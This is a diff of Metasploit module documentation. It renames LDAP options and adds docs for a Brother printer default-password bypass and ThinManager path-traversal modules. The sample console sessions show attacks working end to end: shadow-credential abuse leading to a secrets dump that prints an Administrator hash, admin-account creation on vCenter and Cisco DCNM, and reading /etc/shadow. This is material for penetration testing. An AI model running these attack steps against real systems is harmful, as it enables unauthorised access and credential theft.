and `LDAPPassword` information to an account with the necessary privileges 4. Set the `TARGET_USER` to the victim account 5. Use the `ADD` action to add a credential entry to the victim account @@ -103,19 +103,14 @@ The certificate ID to delete when using the `REMOVE` action. You can retrieve Ce In the following example the user `MSF\sandy` has write access to the user account `victim`. We will start the attack using the `admin/ldap/shadow_credentials` module. ```msf -msf6 auxiliary(admin/ldap/shadow_credentials) > show options +msf auxiliary(admin/ldap/shadow_credentials) > show options Module options (auxiliary/admin/ldap/shadow_credentials): Name Current Setting Required Description ---- --------------- -------- ----------- - DOMAIN no The domain to authenticate to - PASSWORD no The password to authenticate with - RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html - RPORT 389 yes The target port SSL false no Enable SSL on the LDAP connection TARGET_USER yes The target to write to - USERNAME no The username to authenticate with When ACTION is REMOVE: @@ -125,6 +120,24 @@ Module options (auxiliary/admin/ldap/shadow_credentials): DEVICE_ID no The specific certificate ID to operate on + Used when connecting via an existing SESSION: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION no The session to run this module on + + + Used when making a new connection via RHOSTS: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LDAPDomain no The domain to authenticate to + LDAPPassword no The password to authenticate with + LDAPUsername no The username to authenticate with + RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 389 no The target port + + Auxiliary action: Name Description @@ -135,19 +148,19 @@ Auxiliary action: View the full module info with the info, or info -d command. -msf6 auxiliary(admin/ldap/shadow_credentials) > set rhosts 20.92.148.129 +msf auxiliary(admin/ldap/shadow_credentials) > set rhosts 20.92.148.129 rhosts => 20.92.148.129 -msf6 auxiliary(admin/ldap/shadow_credentials) > set domain MSF.LOCAL -domain => MSF.LOCAL -msf6 auxiliary(admin/ldap/shadow_credentials) > set username sandy -username => sandy -msf6 auxiliary(admin/ldap/shadow_credentials) > set password Password1! -password => Password1! -msf6 auxiliary(admin/ldap/shadow_credentials) > set target_user victim +msf auxiliary(admin/ldap/shadow_credentials) > set ldapdomain MSF.LOCAL +ldapdomain => MSF.LOCAL +msf auxiliary(admin/ldap/shadow_credentials) > set ldapusername sandy +ldapusername => sandy +msf auxiliary(admin/ldap/shadow_credentials) > set ldappassword Password1! +ldappassword => Password1! +msf auxiliary(admin/ldap/shadow_credentials) > set target_user victim target_user => victim -msf6 auxiliary(admin/ldap/shadow_credentials) > set action add +msf auxiliary(admin/ldap/shadow_credentials) > set action add action => add -msf6 auxiliary(admin/ldap/shadow_credentials) > run +msf auxiliary(admin/ldap/shadow_credentials) > run [*] Running module against 20.92.148.129 [*] Discovering base DN automatically @@ -161,15 +174,15 @@ The LDAP property has been successfully updated. Now we can request a TGT using ```msf -msf6 auxiliary(admin/kerberos/get_ticket) > set rhosts 20.92.148.129 +msf auxiliary(admin/kerberos/get_ticket) > set rhosts 20.92.148.129 rhosts => 20.92.148.129 -msf6 auxiliary(admin/kerberos/get_ticket) > set username victim +msf auxiliary(admin/kerberos/get_ticket) > set username victim username => victim -msf6 auxiliary(admin/kerberos/get_ticket) > set domain MSF.LOCAL +msf auxiliary(admin/kerberos/get_ticket) > set domain MSF.LOCAL domain => MSF.LOCAL -msf6 auxiliary(admin/kerberos/get_ticket) > set cert_file /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx +msf auxiliary(admin/kerberos/get_ticket) > set cert_file /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx cert_file => /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx -msf6 auxiliary(admin/kerberos/get_ticket) > run +msf auxiliary(admin/kerberos/get_ticket) > run [*] Running module against 20.92.148.129 [!] Warning: Provided principal and realm (victim@MSF.LOCAL) do not match entries in certificate: @@ -182,7 +195,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run The saved TGT can be used in a pass-the-ticket style attack. For instance using the `auxiliary/gather/windows_secrets_dump` module: ```msf -msf6 auxiliary(gather/windows_secrets_dump) > run smb::auth=kerberos smb::rhostname=dc22 smbuser=victim smbdomain=msf.local rhost=20.92.148.129 domaincontrollerrhost=20.92.148.129 +msf auxiliary(gather/windows_secrets_dump) > run smb::auth=kerberos smb::rhostname=dc22 smbuser=victim smbdomain=msf.local rhost=20.92.148.129 domaincontrollerrhost=20.92.148.129 [*] Running module against 20.92.148.129 [*] 20.92.148.129:445 - Using cached credential for krbtgt/MSF.LOCAL@MSF.LOCAL victim@MSF.LOCAL @@ -205,7 +218,7 @@ Administrator:500:aad3b435b51404eeaad3b435b51404ee:26f8220ed7f1494c5737bd552e661 In the following example the user `MSF\DESKTOP-H4VEQQHQ$` targets itself. No special permissions are required for this, as computers have some ability to modify their own value by default. ```msf -msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add +msf auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add [*] Running module against 20.92.148.129 [+] Successfully bound to the LDAP server! @@ -220,7 +233,7 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username Note, however, that attempting to add a second credential will fail under these circumstances: ```msf -msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add +msf auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ ldappassword=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add [*] Running module against 20.92.148.129 [+] Successfully bound to the LDAP server! @@ -238,9 +251,9 @@ It is possible to circumvent this by first entirely removing the existing value, for any legitimate user relying on the existing value. ```msf -msf6 auxiliary(admin/ldap/shadow_credentials) > set action flush +msf auxiliary(admin/ldap/shadow_credentials) > set action flush action => flush -msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV +msf auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ ldappassword=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV [*] Running module against 20.92.148.129 [+] Successfully bound to the LDAP server! @@ -249,9 +262,9 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username [+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local [+] Successfully deleted the msDS-KeyCredentialLink attribute. [*] Auxiliary module execution completed -msf6 auxiliary(admin/ldap/shadow_credentials) > set action add +msf auxiliary(admin/ldap/shadow_credentials) > set action add action => add -msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV +msf auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ ldappassword=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV [*] Running module against 20.92.148.129 [+] Successfully bound to the LDAP server! diff --git a/documentation/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.md b/documentation/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.md index 1a7201294bf74..fd0a337f6b774 100644 --- a/documentation/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.md +++ b/documentation/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.md @@ -32,13 +32,13 @@ Add an admin user to the vCenter Server. If you already have the LDAP base DN, you may set it in this option. `dc=vsphere,dc=local` will be used if not set. -### USERNAME +### LDAPUsername If you already have a password to authenticate to the LDAP server (see USERNAME), this option let you setup the bind username in DN format (e.g `cn=1.2.3.4,ou=Domain Controllers,dc=vsphere,dc=local`). -### PASSWORD +### LDAPPassword The password to authenticate to the LDAP server, if you have it. @@ -55,22 +55,35 @@ Set this to the password for the new admin user. ### VMware vCenter Server 6.7 virtual appliance on ESXi (vulnerable target) ``` -msf5 > use auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass -msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > options +msf auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > show options Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass): Name Current Setting Required Description ---- --------------- -------- ----------- BASE_DN no LDAP base DN if you already have it - DOMAIN no The domain to authenticate to - NEW_PASSWORD no Password of admin user to add - NEW_USERNAME no Username of admin user to add - PASSWORD no The password to authenticate with - RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html - RPORT 636 yes The target port + NEW_PASSWORD yes Password of admin user to add + NEW_USERNAME yes Username of admin user to add SSL true no Enable SSL on the LDAP connection - USERNAME no The username to authenticate with + + + Used when connecting via an existing SESSION: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION no The session to run this module on + + + Used when making a new connection via RHOSTS: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LDAPDomain no The domain to authenticate to + LDAPPassword no The password to authenticate with + LDAPUsername no The username to authenticate with + RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using- + metasploit.html + RPORT 636 no The target port Auxiliary action: @@ -80,13 +93,15 @@ Auxiliary action: Add Add an admin user -msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set rhosts [redacted] + +View the full module info with the info, or info -d command. +msf auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set rhosts [redacted] rhosts => [redacted] -msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_username msfadmin +msf auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_username msfadmin new_username => msfadmin -msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_password msfadmin +msf auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_password msfadmin new_password => msfadmin -msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > run +msf auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > run [*] Running module against [redacted] not verifying SSL hostname of LDAPS server '[redacted]:636' @@ -130,28 +145,81 @@ vmwpasswordprohibitedpreviouscount: [redacted] [+] Added user msfadmin, so auth bypass was successful! [+] Added user msfadmin to admin group [*] Auxiliary module execution completed -msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > +msf auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > ``` ### VMware vCenter Server 6.7.0.2 virtual appliance on ESXi (not vulnerable target) ``` -msf6 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > options +msf auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > show options + +Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BASE_DN no LDAP base DN if you already have it + NEW_PASSWORD yes Password of admin user to add + NEW_USERNAME yes Username of admin user to add + SSL true no Enable SSL on the LDAP connection + + + Used when connecting via an existing SESSION: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION no The session to run this module on + + + Used when making a new connection via RHOSTS: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LDAPDomain no The domain to authenticate to + LDAPPassword no The password to authenticate with + LDAPUsername no The username to authenticate with + RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using- + metasploit.html + RPORT 636 no The target port + + +Auxiliary action: + + Name Description + ---- ----------- + Add Add an admin user + + + +View the full module info with the info, or info -d command. +msf auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > show options Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass): - Name Current Setting Required Description - ---- --------------- -------- ----------- - BASE_DN dc=vsphere,dc=local no LDAP base DN if you already have it - USERNAME cn=192.168.3.32,ou=Domain Controlle no The username to authenticate to LDAP server - rs,dc=vsphere,dc=local - PASSWORD #$F4!4SeV\BL~L2gb(oa no Password for the BIND_DN - NEW_PASSWORD NewPassword123# no Password of admin user to add - RHOSTS 192.168.3.32 yes The target host(s), see https://github.com/rapid7/metasploit-framework - /wiki/Using-Metasploit - RPORT 636 yes The target port - SSL true no Enable SSL on the LDAP connection - NEW_USERNAME MsfAdmin no Username of admin user to add + Name Current Setting Required Description + ---- --------------- -------- ----------- + BASE_DN no LDAP base DN if you already have it + NEW_PASSWORD yes Password of admin user to add + NEW_USERNAME yes Username of admin user to add + SSL true no Enable SSL on the LDAP connection + + + Used when connecting via an existing SESSION: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION no The session to run this module on + + + Used when making a new connection via RHOSTS: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LDAPDomain no The domain to authenticate to + LDAPPassword no The password to authenticate with + LDAPUsername no The username to authenticate with + RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using- + metasploit.html + RPORT 636 no The target port Auxiliary action: @@ -161,7 +229,10 @@ Auxiliary action: Add Add an admin user -msf6 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > run + +View the full module info with the info, or info -d command. + +msf auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > run [*] Running module against 192.168.3.32 [*] Using auxiliary/gather/vmware_vcenter_vmdir_ldap as check diff --git a/documentation/modules/auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024_51978.md b/documentation/modules/auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024_51978.md new file mode 100644 index 0000000000000..f2ce0c3f344a6 --- /dev/null +++ b/documentation/modules/auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024_51978.md @@ -0,0 +1,142 @@ +## Vulnerable Application + +By leaking a target devices serial number, a remote attacker can generate the target devices default +administrator password. The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, +SNMP, or PJL requests. + +## Testing +Run the module against a vulnerable device (full list [here](https://www.cve.org/CVERecord?id=CVE-2024-51978)). +If the default password is correctly generated, the module will be able to verify this. + +The module will also report an HTTP cookie `AuthCookie` which can be used, for example via Burp's proxy feature, to +get access to an administrator session on the target devices web interface. + +## Verification Steps + +1. Start msfconsole +2. `use auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024_51978` +3. `set RHOST ` +4. `run` + +## Options + +### TargetSerial +A serial number to use for this target. If none is specified, the target will be queried via either HTTP, SNMP, or PJL +to discover the serial number (as per the `DiscoverSerialVia` option). + +### DiscoverSerialVia +The technique to use to discover the serial number. Can be one of `AUTO`, `HTTP`, `SNMP`, or `PJL`. The default is `AUTO`. + +### SaltLookupIndex +The index into the salt table to use when generating the default password. The default is `254`, which is the expected +value for Brother devices. + +### SaltData +The salt data to use when generating the default password. By default, no salt data is required. + +### ValidatePassword +Validate the default password by attempting to login. By default, this is set to `true`. + +## Scenarios + +_Note: In these example scenarios, the leaked serial numbers have been redacted with `***************`._ + +### MFC-L9570CDW + +In this example, the target `MFC-L9570CDW` device was running the latest firmware at the time of testing (June 20, 2025), +whereby the `MAIN` version was `ZQ2503251054`, and the `SUB1` version was `1.35`. We can note that while the serial +number could not be leaked via HTTPS (via CVE-2024-51977), we were able to leak the serial number via SNMP and then +proceed to generate the correct default administrator password. The module validated that this password value is still +the default administrator password for the device. + +``` +msf auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > set VERBOSE true +VERBOSE => true +msf auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > set RHOSTS 192.168.86.62 +RHOSTS => 192.168.86.62 +msf auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > show options + +Module options (auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024_51978): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMMUNITY public yes SNMP Community String + PJL_RPORT 9100 yes The target port number for PJL + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported p + roxies: sapni, socks4, socks5, socks5h, http + RETRIES 1 yes SNMP Retries + RHOSTS 192.168.86.62 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit + /basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SNMP_OID_SERAILNO 1.3.6.1.2.1.43.5.1.1.17.1 yes The SNMP OID for the serial number + SNMP_RPORT 161 yes The target port number for SNMP + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base URI path to the web admin console + TIMEOUT 1 yes SNMP Timeout + VERSION 1 yes SNMP Version <1/2c> + VHOST no HTTP server virtual host + + +View the full module info with the info, or info -d command. + +msf auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > run +[*] Running module against 192.168.86.62 +[*] Attempting to leak serial number via HTTP +[-] Unexpected HTTP response code: 302 +[*] Attempting to leak serial number via SNMP +[*] Leaked target serial number via SNMP: *************** +[*] Generating default password with salt lookup index 254 and salt data 7HOLDhk' +[*] Generated password value: r/5LM&U> +[*] Attempting to validate password +[*] Received an AuthCookie value: bi56MaYmMOhcwuH8miqCW5YvSGqKRqr8EOgiAr0yA20%3D +[+] Successfully validated the administrator password: r/5LM&U> +[*] Auxiliary module execution completed +msf auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > +``` + +### DCP-L2530DW + +In this example, the target `DCP-L2530DW` device was running the following firmware version, whereby the `MAIN` version +was `ZC2403082049`, and the `SUB1` version was `1.04`. We can note that the serial number was successfully leaked via +HTTPS (via CVE-2024-51977), however the password value generated was not the devices default password, so validation +did not succeed. + +``` +msf auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > set RHOSTS 192.168.86.3 +RHOSTS => 192.168.86.3 +msf auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > show options + +Module options (auxiliary/admin/misc/brother_default_admin_auth_bypass_cve_2024_51978): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMMUNITY public yes SNMP Community String + PJL_RPORT 9100 yes The target port number for PJL + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported p + roxies: sapni, socks4, socks5, socks5h, http + RETRIES 1 yes SNMP Retries + RHOSTS 192.168.86.3 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit + /basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SNMP_OID_SERAILNO 1.3.6.1.2.1.43.5.1.1.17.1 yes The SNMP OID for the serial number + SNMP_RPORT 161 yes The target port number for SNMP + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base URI path to the web admin console + TIMEOUT 1 yes SNMP Timeout + VERSION 1 yes SNMP Version <1/2c> + VHOST no HTTP server virtual host + + +View the full module info with the info, or info -d command. + +msf auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > run +[*] Running module against 192.168.86.3 +[*] Attempting to leak serial number via HTTP +[*] Leaked target serial number via HTTP: *************** +[*] Generating default password with salt lookup index 254 and salt data 7HOLDhk' +[*] Generated password value: pX-KDn3+ +[*] Attempting to validate password +[-] Failed to login with the administrator password: pX-KDn3+ +[*] Auxiliary module execution completed +msf auxiliary(admin/misc/brother_default_admin_auth_bypass_cve_2024_51978) > +``` diff --git a/documentation/modules/auxiliary/admin/networking/brocade_config.md b/documentation/modules/auxiliary/admin/networking/brocade_config.md index a3176c1a210a7..400717822e860 100644 --- a/documentation/modules/auxiliary/admin/networking/brocade_config.md +++ b/documentation/modules/auxiliary/admin/networking/brocade_config.md @@ -150,13 +150,13 @@ File path to the configuration file. ## Scenarios ``` -msf5 > wget https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf -o /dev/null -O /tmp/brocade.conf -msf5 > use auxiliary/admin/networking/brocade_config -msf5 auxiliary(admin/networking/brocade_config) > set rhosts 127.0.0.1 +msf > wget https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/brocade_08.0.30hT311_ic_icx6430.conf -o /dev/null -O /tmp/brocade.conf +msf > use auxiliary/admin/networking/brocade_config +msf auxiliary(admin/networking/brocade_config) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 auxiliary(admin/networking/brocade_config) > set config /tmp/brocade.conf +msf auxiliary(admin/networking/brocade_config) > set config /tmp/brocade.conf config => /tmp/brocade.conf -msf5 auxiliary(admin/networking/brocade_config) > run +msf auxiliary(admin/networking/brocade_config) > run [*] Running module against 127.0.0.1 [*] Importing config diff --git a/documentation/modules/auxiliary/admin/networking/cisco_config.md b/documentation/modules/auxiliary/admin/networking/cisco_config.md index f00ffb00a8e53..994d7901deec5 100644 --- a/documentation/modules/auxiliary/admin/networking/cisco_config.md +++ b/documentation/modules/auxiliary/admin/networking/cisco_config.md @@ -37,12 +37,12 @@ root@metasploit-dev:~/metasploit-framework# wget https://raw.githubusercontent.c root@metasploit-dev:~/metasploit-framework# ./msfconsole [*] Starting persistent handler(s)... -msf5 > use auxiliary/admin/networking/cisco_config -msf5 auxiliary(admin/networking/cisco_config) > set config /tmp/LA_EDGE_D.txt +msf > use auxiliary/admin/networking/cisco_config +msf auxiliary(admin/networking/cisco_config) > set config /tmp/LA_EDGE_D.txt config => /tmp/LA_EDGE_D.txt -msf5 auxiliary(admin/networking/cisco_config) > set rhost 127.0.0.1 +msf auxiliary(admin/networking/cisco_config) > set rhost 127.0.0.1 rhost => 127.0.0.1 -msf5 auxiliary(admin/networking/cisco_config) > run +msf auxiliary(admin/networking/cisco_config) > run [*] Running module against 127.0.0.1 [*] Importing config diff --git a/documentation/modules/auxiliary/admin/networking/cisco_dcnm_auth_bypass.md b/documentation/modules/auxiliary/admin/networking/cisco_dcnm_auth_bypass.md index 124738f8a2fb7..6f036d387ea8b 100644 --- a/documentation/modules/auxiliary/admin/networking/cisco_dcnm_auth_bypass.md +++ b/documentation/modules/auxiliary/admin/networking/cisco_dcnm_auth_bypass.md @@ -46,15 +46,15 @@ You can change the maximum number of attempts to add an admin account by using ` ### DCNM 11.2(1) - Linux OVA Appliance ``` -msf6 > use auxiliary/admin/networking/cisco_dcnm_auth_bypass -msf6 auxiliary(admin/networking/cisco_dcnm_auth_bypass) > set RHOST 192.168.159.33 +msf > use auxiliary/admin/networking/cisco_dcnm_auth_bypass +msf auxiliary(admin/networking/cisco_dcnm_auth_bypass) > set RHOST 192.168.159.33 RHOST => 192.168.159.33 -msf6 auxiliary(admin/networking/cisco_dcnm_auth_bypass) > check +msf auxiliary(admin/networking/cisco_dcnm_auth_bypass) > check [+] 192.168.159.33:443 - The target is vulnerable. -msf6 auxiliary(admin/networking/cisco_dcnm_auth_bypass) > run +msf auxiliary(admin/networking/cisco_dcnm_auth_bypass) > run [*] Running module against 192.168.159.33 [+] Admin account with username: 'frederick' and password: '1OwNqJnO' added! [*] Auxiliary module execution completed -msf6 auxiliary(admin/networking/cisco_dcnm_auth_bypass) > +msf auxiliary(admin/networking/cisco_dcnm_auth_bypass) > ``` diff --git a/documentation/modules/auxiliary/admin/networking/cisco_dcnm_download.md b/documentation/modules/auxiliary/admin/networking/cisco_dcnm_download.md index 4d298f32e3ea8..482fb35154608 100644 --- a/documentation/modules/auxiliary/admin/networking/cisco_dcnm_download.md +++ b/documentation/modules/auxiliary/admin/networking/cisco_dcnm_download.md @@ -21,11 +21,11 @@ work on a few versions below 10.4(2). Only version 11.0(1) requires authenticati Setup RHOST, pick the file to download (FILENAME, default is /etc/shadow) and enjoy! ``` -msf5 exploit > use auxiliary/admin/networking/cisco_dcnm_download +msf exploit > use auxiliary/admin/networking/cisco_dcnm_download -msf5 auxiliary(admin/networking/cisco_dcnm_download) > set rhost 10.75.1.40 +msf auxiliary(admin/networking/cisco_dcnm_download) > set rhost 10.75.1.40 rhost => 10.75.1.40 -msf5 auxiliary(admin/networking/cisco_dcnm_download) > run +msf auxiliary(admin/networking/cisco_dcnm_download) > run [+] 10.75.1.40:443 - Detected DCNM 10.4(2) [*] 10.75.1.40:443 - No authentication required, ready to exploit! diff --git a/documentation/modules/auxiliary/admin/networking/juniper_config.md b/documentation/modules/auxiliary/admin/networking/juniper_config.md index 6d71b57140fcf..fc9330990d7b3 100644 --- a/documentation/modules/auxiliary/admin/networking/juniper_config.md +++ b/documentation/modules/auxiliary/admin/networking/juniper_config.md @@ -1037,12 +1037,12 @@ root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/juniper_ex root@metasploit-dev:~/metasploit-framework# ./msfconsole [*] Starting persistent handler(s)... -msf5 > use auxiliary/admin/networking/gather/juniper_config -msf5 auxiliary(admin/networking/gather/juniper_config) > set config /tmp/juniper_ex2200.config +msf > use auxiliary/admin/networking/gather/juniper_config +msf auxiliary(admin/networking/gather/juniper_config) > set config /tmp/juniper_ex2200.config config => /tmp/juniper_ex2200.config -msf5 auxiliary(admin/networking/gather/juniper_config) > set rhost 127.0.0.1 +msf auxiliary(admin/networking/gather/juniper_config) > set rhost 127.0.0.1 rhost => 127.0.0.1 -msf5 auxiliary(admin/networking/gather/juniper_config) > run +msf auxiliary(admin/networking/gather/juniper_config) > run [*] Running module against 127.0.0.1 [*] Importing config @@ -1069,14 +1069,14 @@ root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/screenos.c root@metasploit-dev:~/metasploit-framework# ./msfconsole [*] Starting persistent handler(s)... -msf5 > use auxiliary/admin/networking/gather/juniper_config -msf5 auxiliary(admin/networking/gather/juniper_config) > set config /tmp/screenos.conf +msf > use auxiliary/admin/networking/gather/juniper_config +msf auxiliary(admin/networking/gather/juniper_config) > set config /tmp/screenos.conf config => /tmp/screenos.conf -msf5 auxiliary(admin/networking/gather/juniper_config) > set rhost 127.0.0.1 +msf auxiliary(admin/networking/gather/juniper_config) > set rhost 127.0.0.1 rhost => 127.0.0.1 -msf5 auxiliary(admin/networking/gather/juniper_config) > set action SCREENOS +msf auxiliary(admin/networking/gather/juniper_config) > set action SCREENOS action => SCREENOS -msf5 auxiliary(admin/networking/gather/juniper_config) > run +msf auxiliary(admin/networking/gather/juniper_config) > run [*] Running module against 127.0.0.1 [*] Importing config diff --git a/documentation/modules/auxiliary/admin/networking/thinmanager_traversal_delete.md b/documentation/modules/auxiliary/admin/networking/thinmanager_traversal_delete.md new file mode 100644 index 0000000000000..6b8f6569b834b --- /dev/null +++ b/documentation/modules/auxiliary/admin/networking/thinmanager_traversal_delete.md @@ -0,0 +1,55 @@ +## Vulnerable Application + +This module exploits a path traversal vulnerability in ThinManager <= v13.1.0 (CVE-2023-2915) to delete an arbitrary file from the +system. + +The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM. + +## Testing + +The software can be obtained from +[the vendor](https://thinmanager.com/downloads/). + +**Successfully tested on** + +- ThinManager v13.1.0 on Windows 22H2 +- ThinManager v13.0.1 on Windows 22H2 +- ThinManager v13.0.0 on Windows 22H2 +- ThinManager v12.1.5 on Windows 22H2 +- ThinManager v10.0.2 on Windows 22H2 + +## Verification Steps + +1. Install and run the application +2. Start `msfconsole` and run the following commands: + +``` +msf > use auxiliary/gather/thinmanager_traversal_delete +msf auxiliary(gather/thinmanager_traversal_delete) > set RHOSTS +msf auxiliary(gather/thinmanager_traversal_delete) > set FILE +msf auxiliary(gather/thinmanager_traversal_delete) > run +``` + +This should delete the file as specified through FILE from the remote server. + +## Options + +### FILE +The file to delete from the remote server. + +## Scenarios + +Running the exploit against ThinManager v13.0.1 on Windows 22H2 should result in an output similar to the following: + +``` +msf auxiliary(gather/thinmanager_traversal_delete) > run +[*] Running module against 192.168.137.229 + +[*] 192.168.137.229:2031 - Running automatic check ("set AutoCheck false" to disable) +[!] 192.168.137.229:2031 - The service is running, but could not be validated. +[*] 192.168.137.229:2031 - Sending handshake... +[*] 192.168.137.229:2031 - Received handshake response. +[*] 192.168.137.229:2031 - Deleting /Windows/win.ini from 192.168.137.229 +[+] 192.168.137.229:2031 - Received response from target. +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/admin/networking/thinmanager_traversal_upload.md b/documentation/modules/auxiliary/admin/networking/thinmanager_traversal_upload.md new file mode 100644 index 0000000000000..ae2441d953425 --- /dev/null +++ b/documentation/modules/auxiliary/admin/networking/thinmanager_traversal_upload.md @@ -0,0 +1,61 @@ +## Vulnerable Application + +This module exploits a path traversal vulnerability in ThinManager <= v13.0.1 (CVE-2023-27855) to upload an arbitrary file to the target +system. + +The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM. + +## Testing + +The software can be obtained from +[the vendor](https://thinmanager.com/downloads/). + +**Successfully tested on** + +- ThinManager v13.0.1 on Windows 22H2 +- ThinManager v13.0.0 on Windows 22H2 +- ThinManager v12.1.5 on Windows 22H2 +- ThinManager v10.0.2 on Windows 22H2 + +## Verification Steps + +1. Install and run the application +2. Start `msfconsole` and run the following commands: + +``` +msf > use auxiliary/admin/networking/thinmanager_traversal_upload +msf auxiliary(admin/networking/thinmanager_traversal_upload) > set RHOSTS +msf auxiliary(admin/networking/thinmanager_traversal_upload) > set LFILE +msf auxiliary(admin/networking/thinmanager_traversal_upload) > set RFILE +msf 